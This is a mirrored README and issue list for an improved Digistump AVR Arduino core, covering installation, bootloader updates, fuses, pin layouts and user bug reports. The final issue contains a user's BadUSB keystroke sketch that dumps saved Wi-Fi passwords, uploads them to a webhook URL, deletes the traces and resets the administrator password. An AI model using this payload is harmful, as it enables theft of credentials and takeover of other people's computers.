Code Monkey home page Code Monkey logo

digistumparduino's Introduction

The core is deprecated and now (2023) unsupported!
Please use ATTinyCore instead!

For up to date micronucleus bootloaders see here.

Improved version of Digistump avr core for Arduino

Available as Arduino Board Manager entry "Digistump AVR Boards" using the Board Manager URL: https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json

New micronucleus bootloader and binary version 2.6 with info function.
First version without MH-ET LIVE Tiny88(16.0MHz) support, since it is now supported by ATTinyCore. It is not planned to add MH-ET LIVE Tiny88 support in the future.

TestCompile Commits since latest Hit Counter

Another great core for ATtinies with ongoing support is the ATTinyCore of Spence Konde, which currently added micronucleus support. Use the Board Manager URL: http://drazzy.com/package_drazzy.com_index.json for it.

Reduced code size was enabled by the following changes:

  • To shrink generated code size by 5 to 15 percent (depending on your code) the lto flag was added in platform.txt. To help finding code which consumes the flash, the generating of disassembler and memory map files are added. For Arduino IDE you will find these files in C:\Users<Name>\AppData\Local\Temp\arduino_build_.
  • To reflect the smaller bootloader size of micronucleus version 2.5 which allow 6586 instead of 6012 bytes (+11%) the upload.maximum_size entry was changed in boards.txt.
  • Since the original gcc version does not support the lto flag, the compiler path was changed to the latest Arduino gcc (7.3.0-atmel3.6.1-arduino5) in the package_digistump_index.json.

Other improvements

  • Added #define LED_BUILTIN in some pins_arduino.h.
  • Added #define __FlashStringHelper fstr_t in Print.h.
  • Updated broken extensa links for xtensa-lx106-elf-gcc in package_digistump_index.json.
  • Included most pull requests done after the 1.6.7 release like recipe.output.tmp_file={build.project_name}.hex in platform.txt and EEPROM library.
  • Added recipe to update booltloader by Arduino IDE.
  • Removed the non trusted post_install.bat since Arduino code states: // Set main and bundled indexes as trusted => all others are untrusted.
  • Extended DigisparkKeyboard library with 22 keyboard layouts from Teensyduino Core Library, fixed bugs, documented and improved it. Here it is documented how the mapping works, so now you can fix wrong mappings by your own (but please give me feedback to include the fix).
  • Fixed and extended a growing number of examples.

Digisparks

Installation

To get all the benefits, just replace the old Digispark board URL http://digistump.com/package_digistump_index.json (e.g. in Arduino File/Preferences) by the new https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json and install the Digistump AVR Boards version 1.7.2 or later.

Boards Manager

Manual installation

  1. Download this repo.
  2. Create a directory C:\Users\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.7.x and extract the digistump-avr-1.7.x.zip to it.
  3. Create a directory C:\Users\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.5 and extract the tools\micronucleus-cli-2.5-i686-mingw32.zip to it.
  4. Extract the file package_digistump_index.json to *C:\Users\AppData\Local\Arduino15*.

As reference you may look at your C:\Users\AppData\Local\Arduino\packages directory to see how other packages are installed.

Driver installation

For Windows you must install the Digispark driver before you can program the board.
if you have the Digistump AVR Boards already installed, then the driver is located in %UserProfile%\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.5\Digistump_Drivers. Just execute the Install_Digistump_Drivers.bat file.
Or download it here, open it and run InstallDrivers.exe.

Update the bootloader to a new version

Different bootloader configurations are available here.
To update your old, flash consuming bootloader, you have 2 choices.

  1. Use the new Digistump board manager URL (see above), choose a bootloader with Tools > Micronucleus variant and then burn it with Tools > Burn Bootloader.
    Burn Bootloader

  2. Run one of the Windows scripts like e.g. the 0_Upgrade-t85_recommended.cmd. The internal mechanism is described here.
    You may also test the t85_agressive bootloader, a configuration overwiew is available here. It works for my boards but the USB timing is not guaranteed as stable as in the other configurations.

Fuse setting

The meaning of fuses can be seen with the Engbedded Atmel AVR� Fuse Calculator. Windows helper scripts for setting fuses can be found here.

The default fuses for a Digispark board are:

  • ATtiny85 Lfuse: 0xE1 - (digispark default) PLL Clock + Startup 64 ms
  • ATtiny85 Hfuse: 0xDD - External Reset pin enabled (Pin5 not usable as I/O) + BOD 2.7 V + Enable Serial Program and Data Downloading
  • ATtiny85 Efuse: 0xFE - self programming enabled.

BOD enabled requires additional 20 �A in sleep state and therefore may be not desirable for low power battery applications. To disable BOD, use 0xDF as Hfuse.

The default fuses for a Digispark Pro board are:

  • ATtiny167 Lfuse: 0xFF - External crystal osc. Frequency 8-16 MHz + Startup 65 ms
  • ATtiny167 Hfuse: 0xDC - External Reset pin enabled + BOD 4.3Volt + Enable Serial Program and Data Downloading
  • ATtiny167 Efuse: 0xFE - self programming enabled.

Flash the bootloader to a bricked device

This can only be done by means of a High Voltage programmer.

16.5 MHz or 16 MHz?

You require 16.5 MHz only if your appliction uses the V-USB library, i.e. if it acts as an USB devive like mouse, keyboard etc.
In all other cases it is recommended to use the standard CPU frequencies of 16, 8, 1 MHz. This is the frequency the CPU is running after the bootloader part, which must run with 16.5 MHz!

Power reducing

Information about reducing power consumption can be found here and here. Final power reduction

Pin layout

ATtiny85 on Digispark

                       +-\/-+
 RESET/ADC0 (D5) PB5  1|    |8  VCC
  USB- ADC3 (D3) PB3  2|    |7  PB2 (D2) INT0/ADC1 - default TX Debug output for ATtinySerialOut
  USB+ ADC2 (D4) PB4  3|    |6  PB1 (D1) MISO/DO/AIN1/OC0B/OC1A/PCINT1 - (Digispark) LED
                 GND  4|    |5  PB0 (D0) OC0A/AIN0
                       +----+
  USB+ and USB- are each connected to a 3.3 volt Zener to GND and with a 68 ohm series resistor to the ATtiny pin.
  On boards with a micro USB connector, the series resistor is 22 ohm instead of 68 ohm. 
  USB- has a 1.5k pullup resistor to indicate a low-speed device.
  USB+ and USB- are each terminated on the host side with 15k to 25k pull-down resistors.

ATtiny167 on Digispark pro

Digital Pin numbers in parenthesis are for ATTinyCore library

                  +-\/-+
RX   6 (D0) PA0  1|    |20  PB0 (D8)  0 OC1AU
TX   7 (D1) PA1  2|    |19  PB1 (D9)  1 OC1BU - (Digispark) LED
     8 (D2) PA2  3|    |18  PB2 (D10) 2 OC1AV
INT1 9 (D3) PA3  4|    |17  PB3 (D11) 4 OC1BV USB-
           AVCC  5|    |16  GND
           AGND  6|    |15  VCC
    10 (D4) PA4  7|    |14  PB4 (D12)   XTAL1
    11 (D5) PA5  8|    |13  PB5 (D13)   XTAL2
    12 (D6) PA6  9|    |12  PB6 (D14) 3 INT0  USB+
     5 (D7) PA7 10|    |11  PB7 (D15)   RESET
                  +----+
  USB+ and USB- are each connected to a 3.3 volt Zener to GND and with a 51 ohm series resistor to the ATtiny pin.
  USB- has a 1k5 pullup resistor to indicate a low-speed device.
  USB+ and USB- are each terminated on the host side with 15k to 25k pull-down resistors.

MH-ET LIVE Tiny88 (16.0MHz) board

Digital Pin numbers in parenthesis are for ATTinyCore library

                        USB
                      +-\__/-+
               PA2  15|      |14  PB7
               PA3  16|      |13  PB5 SCK
           D17 PA0  A6|      |12  PB4 MISO
           D18 PA1  A7|      |11  PB3 MOSI
     (D17) D19 PC0  A0|      |10  PB2 OC1B/PWM SS
     (D18) D20 PC1  A1|      |9   PB1 OC1A/PWM
     (D19) D21 PC2  A2|      |8   PB0
     (D20) D22 PC3  A3|      |7   PD7 RX
SDA  (D21) D23 PC4  A4|      |6   PD6 TX
SCL  (D22) D24 PC5  A5|      |5   PD5
     (D23)     PC7  25|      |4   PD4
RESET          PC6 RST|      |3   PD3 INT1
LED            PD0   0|      |5V
USB-           PD1   1|      |GND
USB+  INT0     PD2   2|      |VIN
                      +------+
  USB+ and USB- are each connected to a 3.3 volt Zener to GND and with a 68 ohm series resistor to the ATtiny pin.
  USB- has a 1k0 pullup resistor to indicate a low-speed device.
  USB+ and USB- are each terminated on the host side with 15k to 25k pull-down resistors.

  Pins not available: PB6 is CLOCK_IN, PC7 is 25

Oak board

The Arduino ESP8266 core available with https://arduino.esp8266.com/stable/package_esp8266com_index.json supports the Digistump Oak board now, better use that.

Revision History

Version 1.7.6

  • Fixed bug #52 - pinMode(Pin,INPUT) does not disable internal pullup.

Version 1.7.5

  • New micronucleus bootloader and binary version 2.6 with info function.
  • First version without MH-ET LIVE Tiny88(16.0MHz) support, since it is now supported by ATTinyCore.

Version 1.7.4

  • Defined symbols DIGISTUMPCORE, DIGISTUMPCORE_MAJOR etc.
  • Last version with MH-ET LIVE Tiny88(16.0MHz) support, since it is now supported by ATTinyCore.

Version 1.7.3

  • Improved bootloaders.
  • Added Attiny support to usbconfig.h.
  • Added Burn Bootloader Method like in ATTinyCore.
  • Removed digistump-sam from repo.
  • ISR_NOBLOCK in millis interrupt only active for 16.5 MHz setting.
  • Improved DigiKeboard.h and keylayouts.h.

Version 1.7.2

  • Updated examples and added warnings for CDC examples.
  • Version to force update of all 1.7.1 changes.

Version 1.7.1 - rolling version

  • New micronucleus binaries for all platforms.
  • Bootloaders with updated MCUSR handling.

Version 1.7.0

  • Support of the cheap Chinese MH-ET LIVE Tiny88(16.0MHz) board with ATTinyCore.
  • Corrected wrong mouse buttons PR#2.
  • Updated boards.txt to make use of menus. Therefore some board names changed like digispark-tiny1 -> digispark-tiny:clock=clock1 etc.
  • Set OSCCAL to factory default instead of using a rule of thumb, which was not reliable.
  • Added linker flag -mrelax. This reduces code size at least for ATtiny167.

Version 1.6.8

  • The original Digistump version with lto and changed upload.maximum_size for micronucleus bootloader 2.5.
  • Added LED_BUILTIN definition in pins_arduino.h.
  • Added #define __FlashStringHelper fstr_t in tiny/Print.h.
  • Updated broken extensa links for xtensa-lx106-elf-gcc in package_digistump_index.json.
  • Included most pull requests done after the 1.6.7 release like recipe.output.tmp_file={build.project_name}.hex in platform.txt and EEPROM library.
  • Added recipe to update bootloader by Arduino IDE.
  • Changed message for BIN redefined in Print.h and it can be suppressed by commenting out #define SUPPRESS_BIN_WARNING in line 39 in Print.h.
  • Commented out the annoying #define true 0x1 and #define false 0x0 in wiring.h.
  • Removed unnecessary files like .gitignore.
  • Added #define TwoWire USI_TWI in Wire.h.
  • Changed #include <avr/delay.h> to #include <util/delay.h> in 3 files.
  • Included Multi-Keyboard Layout MOD.
  • Redefining BIN to 2 for print. BIN can not longer be used as bit position (7) for the x5 ADC "Bipolar Input Mode".
  • Enabled all warnings at compile time and removed compiler warnings in tiny core.
  • Modified definition for yield() in WProgram.h to avoid error "undefined reference to `yield()'".
  • Enabled compiler.cpp.extra_flags.

Requests for modifications / extensions

Please write me a PM including your motivation/problem if you need a modification or an extension.

If you find this library useful, please give it a star.

digistumparduino's People

Contributors

adamszadkowski avatar arminjo avatar awenisko avatar e-moe avatar eduardofv avatar ekettenburg avatar etherealvisage avatar fermino avatar luckyturtledev avatar mpflaga avatar nfriedly avatar per1234 avatar peter-kutak avatar pfeerick avatar qiwenmin avatar shairo avatar soundguy avatar sukkopera avatar toxydose avatar tswfi avatar vlee489 avatar yeckel avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

digistumparduino's Issues

Build for ARM (M1/M2) CPU on OSX

Attempting to use this library in platformio.ini on OSX on a Mac with M1 processor produces this error

Processing digispark-tiny (platform: atmelavr; board: digispark-tiny; framework: arduino)
----------------------------------------------------------------------------------
Tool Manager: Installing platformio/framework-arduino-avr-digistump @ ^1.7.6
Error: Could not find the package with 'platformio/framework-arduino-avr-digistump @ ^1.7.6' requirements for your system 'darwin_arm64'

Steps to reproduce

[env:digispark-tiny]
platform = atmelavr
board = digispark-tiny
framework = arduino
build_flags = 
	-D LED_PIN=1
platform_packages =
	platformio/framework-arduino-avr-digistump@^1.7.6

Then attempt to build, and you will see this error.

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • Arduino IDE
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
  • Other - please specify

Micronucleus not configured correctly for MacOS

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • [ x ] Digispark

IDE

  • [ x ] Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • [ x ] Yes I use the latest core version and verified this!

Please delete all unchecked lines above :-)

Current behavior

  1. Install release 1.7.5 using Arduino IDE 1.8.19 on MacOS 11.5.2, on computer with 1.4 GHz Dual-Core Intel Core i5 Processor.
  2. Set Board to Digispark
  3. Set Clock to 16.5MHz
  4. Programmer is set to "Micronucleus 2.5" - which is preselected.
  5. Load "Blink" sketch from Arduino base examples.
  6. Verify (code compiles OK)
  7. Upload
  8. Error message: "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.6/micronucleus" - file not found
  9. Note, directory "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.5" does not exist
  10. directory "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.6" contains one directory entry, "GNUSparseFile.0"
  11. directory "GNUSparseFile.0" contains one file, "micronucleus"
  12. "micronucleus" file is not an executable file type on MacOS. "/usr/bin/file" command simply reports "data".

Expected behavior

  1. Invocation of micronucleus by the IDE
  2. Choice of micronucleus should be the version installed and available
  3. Choice should match version selected/displayed in user interface menu
  4. Choice of micronucleus should be valid executable.

Additional context

  1. Note, user has copied executable from master->tools/micronucleus/micronucleus-cli-2.6-x86_64-apple-darwin.tar.gz and tried again with the executable in the expected path.
  2. This file is a MacOS executable file
  3. Running it reports "'micronucleus' cannot be opened because the developer cannot be verified." and "macOS cannot verify that this app is free from malware. Chrome downloaded this file today at 20:20 from github.com."
  4. Presumably, the executable is built without a valid digital signature. So, it cannot be used as a workaround for the problem with release 1.7.5.

Permission denied during uploading

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • Arduino IDE
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
  • Other - please specify

Please delete all unchecked lines above :-)

Current behavior

I'm trying to upload a sketch but i keep getting this error saying:

usb_open(): Permission denied. For Linux, copy file https://github.com/micronucleus/micronucleus/blob/master/commandline/49-micronucleus.rules to /etc/udev/rules.d.

I have tried changing the permission of /etc/udev/rules.d i even reinstalled the whole arduino ide but i still have the same problem any help is appreciated!

Additional context

Help for detecting wrong keylayouts

Hey, thanks for your work, but in the german language there are some mistakes again. To help you find them faster, I have written a simple tool, take a look at it here. I hope, you can use it to fix the wrong letters. I tried it myself but I miss the knowledge.

"Please import the SPI library"

Thanks for putting together this repo! It's help get me unblocked on using the Digistump Pro with MySensors. The one thing that I still seem to be missing is SPI.

A simple sketch for repro:

#include <SPI.h>


void loop(){
    }

void setup(){
    }

Compiles just fine for the UNO, but with the Digispark Pro selected:

Alternatives for SPI.h: []sketch_apr07a:1:10: fatal error: Please import the SPI library from the Sketch > Import Library menu.
As of Arduino 0019, the Ethernet library depends on the SPI library.
You appear to be using it or another library that depends on the SPI library.

Any help would be appreciated.

French Layout error in 1.7.3

Hello,
When I'm compiling with french layout on the version 1.7.3, there is an error saying TILDE_BITS not defined.
There is the same error for all frenches variations (canadian, belgium, ...).

The version 1.7.2 doesn't have this issue.

Installation instructions for PlatfomIO

I am currently in an ATTiny85 dev project in platformio and I would like to give your core a try. Could you please provide instructions on how to install your core in pio? Or possibly even better, request integration to pio by raising a feature request there?

package_sparkfun_index.json causes problems

Bug Report

After adding
I get error messages like this when I try to update libraries in the 1.8.18 IDE on windows
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit_

As stated here: https://forums.adafruit.com/viewtopic.php?f=25&t=177076 the problem is due to the
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json file.

Please have look into this.

IDE

  • [*] Arduino IDE

Version

  • [*] Yes I use the latest core version and verified this!

Digispark CDC library doesn't work

Tested with the reference sketch

https://github.com/ArminJo/DigistumpArduino/blob/master/digistump-avr/libraries/DigisparkCDC/examples/CDC_LED/CDC_LED.ino

Uploading works fine, but as soon as the bootloader exits and the USB CDC device is supposed to be created..

grafik

Translated: "USB device was not recognized. The last USB device that has been connected to this computer, did not work ordinarily and wasn't recognized by Windows."

Device manager says

grafik

"The USB device has returned an invalid USB configuration descriptor".

Tested board is the http://digistump.com/products/1

Selected Arduino IDE settings

grafik

Drivers were installed as per https://github.com/ArminJo/DigistumpArduino#driver-installation.

DigiKeyboard.sendKeyStroke doesn´t work

Dear Sir or Madame,

I want to send following key stroke:
DigiKeyboard.sendKeyStroke(KEY_M , MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
But it returns:
Key.ctrl_l + Key.shift + '\r'
How can I solve the Problem? I tried many things, even reinstalling the Digispark libraries.

Additionally the digispark USB Device turns off after about half an hour? Is there a way changing the times or even setting them to infinite?

Thanks for helping
Kind regards
Jan Fenten

Uploader doesn't know how to upload

Hello @ArminJo , thanks for writing this tool.

I recently bought a digispark, setting up the host system per the instructions on Digistump's site (adding a udev rule etc), and then adding your package index into Arduino 1.18.13 (latest).

When I first burned the bootloader, the steps went great, though I left the variant at 'Default', not 'Recommended'.

Now when I try to upload a sketch, or burn a different bootloader, I get these messages repeating:

/home/atomspring/.arduino15/packages/digistump/tools/micronucleus/2.0a4/launcher -cdigispark --timeout 60 -Uflash:w:/home/atomspring/.arduino15/packages/digistump/hardware/avr/1.7.0/bootloaders/upgrade-t85_entry_on_powerOn_activePullup_fastExit.hex:i

Running Digispark Uploader...

Plug in device now... (will timeout in 60 seconds)

Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5

Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5

What do I do here?

Clock setting not supported when uploading via programmer

Clock setting not supported when uploading via programmer

Version 1.7.4 also includes the nice possibility to upload via programmer other than using the bootloader (e.g., version 1.7.2 did not).

Anyway, the clock setting does not work.

Way to reproduce the problem

Board

ATtiny85 Digispark board
Arduino Nano as ISP

IDE

Arduino IDE

Version

Version 1.7.4

Settings

File > Preferences > Additional Board manager URLs: 
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json

Tools > Board: "Digispark"

Tools > Clock > 8 MHz – No USB (I use "8 MHz – No USB" after setting lfuse to E2 with avrdude -Cavrdude.conf -v -pattiny85 -cstk500v1 -P... -b19200 -U lfuse:w:0xE2:m)

Tools > Micronucleus variant: at the moment, the highest available option is just "aggressive" (notice the double g glitch BTW): there is no way to use the entire space, which would be possible using an ISP

Tools > Burn Bootloader Method: usage of this setting is not clear; at the moment it does not appear to influence the result

Tools > Port (I set the one connected to the Arduino Nano used as ISP)

Tools > Programmer: "Arduino as ISP"

To test, I use the "blink" sample sketch by measuring the LED timing, which is correct when the device is run at the standard clock (16.5 MHz with -U lfuse:w:0xf1:m fuse and "16.5 MHz for V-USB" setting), while incorrect in the above-mentioned example (16.5 MHz with -U lfuse:w:0xE2:m fuse and "8 MHz – No USB" setting).

As the result of Sketch > Upload is always to run the micronucleus (regardless of the setting "Tools > Programmer" - this would be another issue), the only way to run the programmer is via "Sketch > Upload Using Programmer".

Anyway, the behaviour is the same of running "Sketch > Upload" and then running avrdude manually on the compiled code.

Notice that https://github.com/damellis/attiny correctly works via "Sketch > Upload".

German Keyboard Layout is off

When I choose to compile with: #define LAYOUT_GERMAN and having the keyboard layout in Linux set to German, I get the some characters wrong.

For example the line DigiKeyboard.print("<>"); results in the output: /{ on my system.

I am so sorry to not help you more, but I have no clue how these keycodes work. Though I noticed that this header-file does seem to do the trick.

Disappeared "Plug in device now..."

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • [*] Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • [*] Arduino IDE 2.3.2
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • [*] Yes I use the latest core version and verified this!
  • Other - please specify

Please delete all unchecked lines above :-)

Current behavior

` #include <Tachometer.h> // https://github.com/GyverLibs/Tachometer?tab=readme-ov-file
Tachometer tacho;

void setup() {
// put your setup code here, to run once:
pinMode(0, INPUT_PULLUP);
pinMode(1, OUTPUT);
attachInterrupt(0, isr, FALLING);
}

void loop() {
// put your main code here, to run repeatedly:
if (tacho.getHz() > 95) digitalWrite (1, HIGH);
else digitalWrite (1, LOW);
}

void isr() {
tacho.tick();
}

Sketch uses 2026 bytes (13%) of program storage space. Maximum is 14970 bytes.
Global variables use 29 bytes (5%) of dynamic memory, leaving 483 bytes for local variables. Maximum is 512 bytes.
"C:\Users\woodl\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.6/micronucleus" --no-ansi --run --timeout 60 C:\Users\woodl\AppData\Local\Temp\arduino\sketches\3727D12B961B500C998C67424C146797/digispark_interrupt.ino.hex
Failed uploading: uploading error: exit status 0xc0000135. `

The board is programmable on Arduino 1.8.17 on Win10, but falls on Arduino IDE 2.3.2 on Win11

SPI.h Not found when using Adafruit Dotstar Library

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark

IDE

  • Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
    Using 1.7.5 installed fresh today, 1/21/2023

Current behavior

#include <Adafruit_DotStar.h>

void setup() {
  // put your setup code here, to run once:
}

void loop() {
  // put your main code here, to run repeatedly:
}
                 from C:\Users\Deviant\AppData\Local\Temp\.arduinoIDE-unsaved2023021-13512-sdcgw0.51dq\sketch_jan21a\sketch_jan21a.ino:1:
c:\Users\Deviant\Documents\Arduino\libraries\Adafruit_BusIO/Adafruit_SPIDevice.h:9:10: fatal error: SPI.h: No such file or directory
 #include <SPI.h>
          ^~~~~~~
compilation terminated.

exit status 1

Compilation error: exit status 1

When attempting to compile using the Digispark board and including Adafruit_Dotstar.h from Adafruit Dotstar v1.2.1, SPI.h cannot be found

Expected behavior

Full compile without errors.

Additional context

Add compatibility with BasicStepperDriver

Hi!
Good job man......thanks for your help.
I need help for use Attiny85 with the BasicStepperDriver

The console return this when try to compile:

Arduino:1.8.12 (Windows 10), Scheda:"Digispark (Default - 16.5mhz)"

C:\Users\Simone\AppData\Local\Temp\ccsPwu2G.ltrans0.ltrans.o: In function `delayMicros':

C:\Users\Simone\Documents\Arduino\libraries\StepperDriver-1.2.0\src/BasicStepperDriver.h:46: undefined reference to `yield()'

collect2.exe: error: ld returned 1 exit status

exit status 1
Errore durante la compilazione per la scheda Digispark (Default - 16.5mhz).

Can you do something?
Thanks in advance

pinMode(Pin,INPUT) does not disable internal pullup

Bug Report

Board

  • Digispark

IDE

  • Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!

Current behavior

If the internal pullup for input is activated once by using pinMode(pin,INPUT_PULLUP); it keeps being activated after reconfiguring to a normal INPUT (pinMode(pin,INPUT). Libaries like ADCTouch which reconfigure the pullup resistor therefore don't show the expected behaviour. ATTinycore explicitly disables pullups when setting pinMode(pin,INPUT)

Expected behavior

pinMode(pin,INPUT) should disable the internal pullup independent of the current setting.

Arduino Reference: pinMode

The expected behavior should be achievable by changing the INPUT block of the pinMode function in wiring_digital.c but I'm not sure if this could cause other issues

if (mode == INPUT) { 
		uint8_t oldSREG = SREG;
		cli();
		*reg &= ~bit;
                *out &= ~bit;  //disable internal pullup
		SREG = oldSREG;

Digispark not recognized

Anyone knows how to fix this problem had it for some time

Plug in device now... (will timeout in 60 seconds)
Please plug in the device ...
Press CTRL+C to terminate the program.
Device search timed out

It doesn't get recognized by my computer I don't know why iv tried to fix but cant

Digispark Pro usbconfig.h

Any idea why, with D+ on the INT0 pin of the T167 that the digispark pro uses, the usbconfig.h is telling it to use PCINTs for USB? Bootloader does this too - but no comment or hint to WHY. Presumably someone tried it the normal way and tripped over some weird behavior on that chip or something, but I'm sort of disturbed that they didn't comment on it.

I ask because - since it's gotta be on those pins since that's what the hardware you can buy for dirt cheap from china has connected, you'd be far better off using INT0 instead of wasting a whole bank of PCINTs like that....

Also, you can remove the old windows micronucleus package.

I might be stoopid but the finnish layout won't compile

Discussed in #33

Originally posted by Kapyyyy January 20, 2022
Like the title says, I'm a newbie but when trying to compile with the #define LAYOUT_FINNISH it spits out an error I have no clue of. I tested the default language, canadian french and german and all of those compiled fine. I hope the screenshots will give enough info, but I can share more if needed.
(edit: attached the screenshots instead of posting them as links)
(edit2: removed a accidental g that slipped in XD)
(edit3: Tested versions 1.7.5, 1.7.4, 1.7.3)
64OkNuawtN
javaw_i2Ys0swtO7

Faulty language codes and path clipping in bootloader update

Bug Report

Board

  • [x ] Digispark

IDE

  • [x ] Arduino IDE

Example from the core libraries to reproduce the issue

#define LAYOUT_SWEDISH
#define LAYOUT_NORWEGIAN
#define LAYOUT_DANISH

Version

  • [x ] Yes I use the latest core version and verified this!

Current behavior

Wasn't able to use any of the nordic languages, probably due to missing å, ä and ö in the Teensyduino library, getting errors like "error: narrowing conversion of '1068' "

Also had a problem with updating the bootloader,Arduino IDE is capping the path for the bootloaders in the path name:
Correct: C:\Users\Jonathan Othén\AppData\Local\Arduino15\packages\digistump...
Path trying to fetch from: Othén\AppData\Local\Arduino15\packages\digistump...

(can't remeber the whole path by my mind)

Had to reinstall the original repository so sorry for incomplete info.

A new way to burn default bootloader by Arduino ISP

If USB bootloader don't work, mabye ISP is OK.
Use Arduino ISP can also burn the USB bootloader and reset Fuse.
Because there is something wrong with the official
see here:
https://blog.csdn.net/Argon_Ghost/article/details/103637870
hope you can understand or translate it.

command is here:
C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/bin/avrdude -C "C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/etc/avrdude.conf" -v -pattiny85 -carduino -PCOM4 -b19200 -Uflash:w:C:\Storage\t85_default.hex:i -U lfuse:w:0xE1:m -U hfuse:w:0xDD:m -U efuse:w:0xFE:m
just replace "C:\Sofware_Portable\arduino-1.8.8", "-PCOM4" and "C:\Storage\t85_default.hex" with your file and directory

Hey, this doesn't work for me.

Hey, this doesn't work for me.
image
image
none of this works...

my code:

#define LAYOUT_FINNISH
#include "DigiKeyboard.h"

void setup() {

}

void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
 
  DigiKeyboard.sendKeyStroke(KEY_R, MODIFIERKEY_LEFT_GUI); //run
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible
  DigiKeyboard.delay(500);
  DigiKeyboard.delay(500);
  //keylayouts.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu  
  //keylayouts.sendKeyStroke(KEY_M); //goto Move
  //for(int i =0; i < 100; i++)
    //{
      //keylayouts.sendKeyStroke(KEY_DOWN);
    //}
  //keylayouts.sendKeyStroke(KEY_ENTER); //Detach from scrolling
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cd %temp%"); //going to temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/0e47a039-257e-4652-9d24-asd> -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess
  DigiKeyboard.delay(100);
  DigiKeyboard.println("net user administrator *");
  DigiKeyboard.delay(100);
  DigiKeyboard.println("hacked2022");
  DigiKeyboard.delay(100);
  DigiKeyboard.println("hacked2022");
  DigiKeyboard.delay(100);
  //DigiKeyboard.println("exit");
  //DigiKeyboard.delay(100);
  
  
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
}

Originally posted by @ArikSquad in #37

